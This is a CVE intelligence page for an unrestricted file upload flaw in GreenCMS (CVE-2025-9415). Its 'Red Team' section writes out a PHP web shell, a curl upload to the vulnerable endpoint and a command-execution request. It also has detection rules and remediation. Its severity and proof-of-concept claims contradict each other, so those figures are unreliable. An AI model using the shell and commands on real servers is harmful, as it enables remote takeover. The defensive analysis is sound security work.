☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9415

CVE-2025-9415 Arbitrary File Upload in Greencms
📅 PUBLISHED: 2025-08-25 19:02 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9415 is a critical unrestricted file upload vulnerability affecting GreenCMS versions up to 2.3.0603. The flaw resides in the /index.php?m=admin&c=media&a=fileconnect endpoint, where the upload[] argument is not properly sanitized, allowing an attacker to upload arbitrary files, including web shells. This vulnerability is remotely exploitable and has a public proof-of-concept (PoC). The product is end-of-life and no longer supported, meaning no official patch will be released. The CVSS score is 6.3 (Medium), but the actual risk is higher due to the potential for full server compromise.

Note: This is not a WordPress plugin or component; it is a standalone CMS.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the GreenCMS PHP application.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: High (due to public exploit and no patch)

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The endpoint /index.php?m=admin&c=media&a=fileconnect is used for media file management. The upload[] parameter is passed to a file handling function that does not validate the file type, extension, or content. An attacker can send a POST request with a malicious file (e.g., a PHP web shell) in the upload[] parameter. The file is then saved to the server's web root or an accessible directory, allowing remote code execution.

The exploit is publicly available and trivial to execute. Since the product is end-of-life, no patch will be released, making all installations vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (GreenCMS <= 2.3.0603): The vulnerable code likely resides in a file handling function that directly saves the uploaded file without validation. A simplified example:

// Vulnerable: No file type validation
$uploaded_file = $_FILES['upload']['tmp_name'];
$target_path = 'uploads/' . $_FILES['upload']['name'];
move_uploaded_file($uploaded_file, $target_path);

Patched Code (Not available): A patched version would include checks for file extension, MIME type, and content validation:

// Patched: Validate file extension and MIME type
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$file_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die('Invalid file type.');
}
$uploaded_file = $_FILES['upload']['tmp_name'];
$target_path = 'uploads/' . uniqid() . '.' . $file_extension;
move_uploaded_file($uploaded_file, $target_path);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target running GreenCMS <= 2.3.0603
  • Access to the admin panel (or the endpoint may be accessible without authentication)

Exploit Steps:

  1. Prepare a PHP web shell (e.g., shell.php):
<?php system($_GET['cmd']); ?>
  1. Send a POST request to the vulnerable endpoint:
curl -X POST -F "upload[]=@shell.php" http://target.com/index.php?m=admin&c=media&a=fileconnect
  1. Access the uploaded shell:
curl http://target.com/uploads/shell.php?cmd=id

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for POST requests to /index.php?m=admin&c=media&a=fileconnect with file uploads.
  2. Check for unexpected files in the uploads/ directory, especially .php, .phtml, .php5 files.
  3. Review web server logs for suspicious file access patterns.

Hunting Queries:

  • Search for files with double extensions (e.g., image.php.jpg).
  • Look for files created in the uploads/ directory with non-image extensions.

Indicators of Compromise (IOCs)

  • File Paths:
    • /uploads/shell.php
    • /uploads/*.php
    • /uploads/*.phtml
  • Network Indicators:
    • POST requests to /index.php?m=admin&c=media&a=fileconnect with Content-Type: multipart/form-data
    • Subsequent GET requests to /uploads/*.php?cmd=...
  • Log Entries:
    • POST /index.php?m=admin&c=media&a=fileconnect HTTP/1.1 with file upload
    • GET /uploads/shell.php?cmd=id HTTP/1.1 with 200 response

Detection Engineering

YARA Rule

rule CVE_2025_9415_GreenCMS_Upload {
    meta:
        description = "Detects web shell upload attempts targeting GreenCMS CVE-2025-9415"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9415"
    strings:
        $php_shell = "<?php" ascii wide nocase
        $cmd_param = "cmd=" ascii wide nocase
        $upload_param = "upload[]" ascii wide nocase
    condition:
        $upload_param and $php_shell and $cmd_param
}

Sigma Rule

title: GreenCMS Unrestricted File Upload (CVE-2025-9415)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-9415 via file upload
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/index.php?m=admin&c=media&a=fileconnect'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate media uploads by admin
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9415 GreenCMS Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?m=admin&c=media&a=fileconnect"; http_uri; content:"multipart/form-data"; http_client_body; fileext:".php"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate or decommission any GreenCMS instances as they are end-of-life and unpatchable.
  2. Implement a Web Application Firewall (WAF) rule to block POST requests to /index.php?m=admin&c=media&a=fileconnect with file uploads.
  3. Restrict file uploads to only allow specific image extensions (e.g., jpg, png, gif) using server-side validation.
  4. Disable PHP execution in the uploads directory via .htaccess:
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>
  1. Monitor logs for any signs of exploitation.

Long-Term Recommendations:

  • Migrate to a supported CMS.
  • Conduct a full security audit of any remaining GreenCMS installations.
  • Implement a file integrity monitoring (FIM) solution to detect unauthorized file changes.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9415/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.